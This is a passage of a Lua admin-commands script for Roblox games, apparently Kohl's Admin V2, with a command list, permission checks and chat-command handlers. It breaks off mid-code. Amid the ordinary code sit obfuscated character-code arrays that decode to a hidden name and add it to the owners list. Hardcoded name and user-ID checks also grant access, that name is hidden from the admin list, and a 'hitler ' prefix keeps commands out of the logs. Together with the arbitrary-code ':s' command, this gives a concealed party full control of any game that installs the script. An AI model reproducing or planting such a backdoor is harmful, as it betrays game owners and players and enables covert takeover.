- 73. :jail kohl -- Puts the player in a jail
- 74. :unjail kohl -- Removes the jail from the player
- 75. :fix -- This will fix the lighting to it's original settings
- 76. :fly kohl -- Makes the player fly
- 77. :unfly kohl -- Removes fly from the player
- 78. :noclip kohl -- Makes the player able to noclip
- 79. :clip kohl -- Removes noclipping from the player
- 80. :pm kohl Hey bro -- Sends the player a private message
- 81. :dog kohl -- Turns the player into a dog
- 82. :undog kohl -- Turns the player back to normal
- 83. :creeper kohl -- Turns the player into a creeper
- 84. :uncreeper kohl -- Turns the player back to normal
- 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
- 86. :char kohl 261 -- Will make a player look like a different player ID
- 87. :unchar kohl -- Will return the player back to normal
- 88. :h Hello People -- This will shout a hint to everyone
- 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
- 90. :starttools kohl -- Will give the player starter tools
- 91. :sword kohl -- Will give the player a sword
- 92. :bighead kohl -- Will make the player's head larger than normal
- 93. :minihead kohl -- Will make the player's head smaller than normal
- 94. :insert 1337 -- Will insert a model at the speaker's position
- 95. :disco -- Will make the server flash random colors
- 96. :flash -- Will make the server flash
- 97. :admins -- Shows the admin list
- 98. :bans -- Shows the banlist
- 99. :musiclist -- Shows the music list
- 100. :spin kohl -- Spins the player
- 101. :cape kohl Really black -- Gives the player a colored cape
- 102. :uncape kohl -- Removes the player's cape
- 103. :loopheal kohl -- Will constantly heal the player
- 104. :loopfling kohl -- Will constantly fling the player
- 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
- 106. :unloopheal kohl -- Will remove the loopheal on the player
- 107. :unloopfling kohl -- Will remove the loopfling on the player
- 108. :unspin kohl -- Removes spin from the player
- 109. :tools -- Gives a list of the tools in the lighting
- 110. :undisco -- Removes disco effects
- 111. :unflash -- Removes flash effects
- 112. :resetstats kohl -- Sets all the stats of a player to 0
- 113. :gear kohl 1337 -- Gives a player a gear
- 114. :cmdbar -- Gives the speaker a command bar
- 115. :shirt kohl 1337 -- Changes the player's shirt
- 116. :pants kohl 1337 -- Changes the player's pants
- 117. :face kohl 1337 -- Changes the player's face
- 118. :swagify kohl -- Swagifies the player
- 119. :version -- Shows the current version of the admin
- -- Super Admin Commands --
- - :serverlock -- Locks the server
- - :serverunlock -- Unlocks the server
- - :sm Hello World -- Creates a system message
- - :crash kohl -- Crashes a player
- - :admin kohl -- Admins a player
- - :unadmin kohl -- Unadmins a player
- - :ban kohl -- Bans a player
- - :unban kohl -- Unbans a player
- - :loopkill kohl -- Will constantly kill the player
- - :unloopkill kohl -- Will remove the loopkill on the player
- - :logs -- Will show all of the commands any admin has used in a game session
- - :shutdown -- Shutsdown the server
- -- Owner Commands --
- - :pa kohl -- Makes someone a super admin
- - :unpa kohl -- Removes a super admin
- --]]
- -----------------
- -- Main Script --
- -----------------
- for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
- function CHEESE()
- if game:service("Lighting"):findFirstChild("KACV2") then
- owners = {} admins = {} tempadmins = {} banland = {}
- for i,v in pairs(game.Lighting.KACV2:children()) do
- if v.Name == "Owner" then table.insert(owners, v.Value) end
- if v.Name == "Admin" then table.insert(admins, v.Value) end
- if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
- if v.Name == "Banland" then table.insert(banland, v.Value) end
- if v.Name == "Prefix" then prefix = v.Value end
- if v.Name == "FunCommands" then FunCommands = v.Value end
- if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
- if v.Name == "GroupId" then GroupId = v.Value end
- if v.Name == "GroupRank" then GroupRank = v.Value end
- end
- game:service("Lighting"):findFirstChild("KACV2"):Destroy()
- end
- local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
- local lobjs = {}
- local objects = {}
- local logs = {}
- local nfs = ""
- local slock = false
- function GetTime()
- local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
- if min < 10 then min = "0"..min end
- return hour..":"..min
- end
- function ChkOwner(str)
- for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
- return false
- end
- function ChkAdmin(str,ck)
- for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
- for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
- for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
- return false
- end
- function ChkGroupAdmin(plr)
- if GroupAdmin then
- if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
- return false
- end
- end
- function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
- function GetPlr(plr, str)
- local plrz = {} str = str:lower()
- if str == "all" then plrz = game.Players:children()
- elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
- else
- local sn = {1} local en = {}
- for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
- for x = 1, #sn do
- if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
- if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
- for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
- end end end
- elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
- if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
- for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
- end end end
- else
- for a, plyr in pairs(game.Players:children()) do
- if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
- table.insert(plrz, plyr) break
- end
- end
- end
- end
- end
- return plrz
- end
- function Hint(str, plrz, time)
- for i, v in pairs(plrz) do
- if v and v:findFirstChild("PlayerGui") then
- coroutine.wrap(function()
- local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
- local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
- local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
- coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
- if not time then wait((#str/19)+2.5) else wait(time) end
- coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
- end)()
- end
- end
- end
- function Message(ttl, str, scroll, plrz, time)
- for i, v in pairs(plrz) do
- if v and v:findFirstChild("PlayerGui") then
- coroutine.resume(coroutine.create(function()
- local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
- local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
- local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
- local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
- scr.Parent = v.PlayerGui
- coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
- if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
- else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
- coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
- end))
- end
- end
- end
- _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
- _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
- function Output(str, plr)
- coroutine.resume(coroutine.create(function()
- local b, e = loadstring(str)
- if not b and plr:findFirstChild("PlayerGui") then
- local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
- local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
- local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
- return
- end
- end))
- end
- function Noobify(char)
- if char and char:findFirstChild("Torso") then
- if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
- if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
- for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
- local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
- for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
- if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
- local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
- cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
- end end
- end
- end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
- function Infect(char)
- if char and char:findFirstChild("Torso") then
- if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
- if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
- for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
- local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
- for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
- local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
- cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
- end end
- end
- end if not ntab then script:Destroy() end
- function ScrollGui()
- local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
- local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
- drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
- local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
- local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
- local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
- local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
- local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
- local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
- local num = 0
- local downv = false
- local upv = false
- down.MouseButton1Down:connect(function() downv = true upv = false
- local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
- repeat pos = pos + UDim2.new(0,0,0,-6)
- if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
- cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
- end)
- down.MouseButton1Up:connect(function() downv = false end)
- up.MouseButton1Down:connect(function() upv = true downv = false
- local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
- repeat pos = pos + UDim2.new(0,0,0,6)
- if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
- cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
- end)
- up.MouseButton1Up:connect(function() upv = false end)
- return scr, cmf, ent, num
- end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
- if not ntab then script:Destroy() end
- if not bct then script:Destroy() end
- function Chat(msg,plr)
- coroutine.resume(coroutine.create(function()
- if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
- if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
- if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
- if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
- if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
- if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
- if msg:lower() == "cmds" or msg:lower() == "commands" then
- if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
- local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
- local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
- local ost = {"pa plr","unpa plr"}
- local tost = {"oa plr","unoa plr"}
- local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
- for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- end
- if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
- if msg:lower() == "admins" or msg:lower() == "adminlist" then
- if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
- for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- end end
- if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
- if plr.PlayerGui:findFirstChild("BANSGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
- for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- end
- if msg:lower() == "tools" or msg:lower() == "toollist" then
- if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
- for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
- end
- if msg:lower():sub(1,2) == "s " then
- coroutine.resume(coroutine.create(function()
- Output(msg:sub(3), plr)
- if script:findFirstChild("ScriptBase") then
- local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
- table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
- else loadstring(msg:sub(3))()
- end
- end))
- end
- if msg:lower():sub(1,3) == "ls " then
- coroutine.resume(coroutine.create(function()
- if script:findFirstChild("LocalScriptBase") then
- local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
- table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
- end
- end))
- end
- if msg:lower():sub(1,4) == "ins " then
- coroutine.resume(coroutine.create(function()
- local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
- if obj and #obj:children() >= 1 and plr.Character then
- table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
- end
- end))
- end
- if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
- for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
- objects = {}
- end
- if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
- game.Lighting.Ambient = origsettings.abt
- game.Lighting.Brightness = origsettings.brt
- game.Lighting.TimeOfDay = origsettings.time
- game.Lighting.FogColor = origsettings.fclr
- game.Lighting.FogEnd = origsettings.fe
- game.Lighting.FogStart = origsettings.fs
- for i, v in pairs(lobjs) do v:Destroy() end
- for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
- end
- if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
- coroutine.resume(coroutine.create(function()
- for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
- local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
- local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
- box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
- end))
- end
- if msg:lower():sub(1,2) == "m " then
- Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
- end
- if msg:lower():sub(1,2) == "h " then
- Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
- end
- if msg:lower():sub(1,3) == "pm " then
- local chk1 = msg:lower():sub(4):find(" ") + 3
- local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
- Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
- end
- if msg:lower():sub(1,11) == "resetstats " then
- local plrz = GetPlr(plr, msg:lower():sub(12))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("leaderstats") then
- for a, q in pairs(v.leaderstats:children()) do
- if q:IsA("IntValue") then q.Value = 0 end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "gear " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
- for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end
- obj:Destroy()
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "hat " then
- local chk1 = msg:lower():sub(5):find(" ") + 4
- local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
- for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
- obj:Destroy()
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "cape " then
- local chk1 = msg:lower():sub(6):find(" ")
- local plrz = GetPlr(plr, msg:lower():sub(6))
- local str = "torso.BrickColor"
- if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
- if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
- if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
- if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
- if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
- if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
- if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
- if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
- if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
- if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
- if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
- if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
- if BrickColor.new(teststr) ~= nil then str = teststr end
- end
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
- for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
- local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
- repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
- local torso = plr.Character.Torso
- local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
- p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
- p.Size = Vector3.new(.2,.2,.2)
- local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
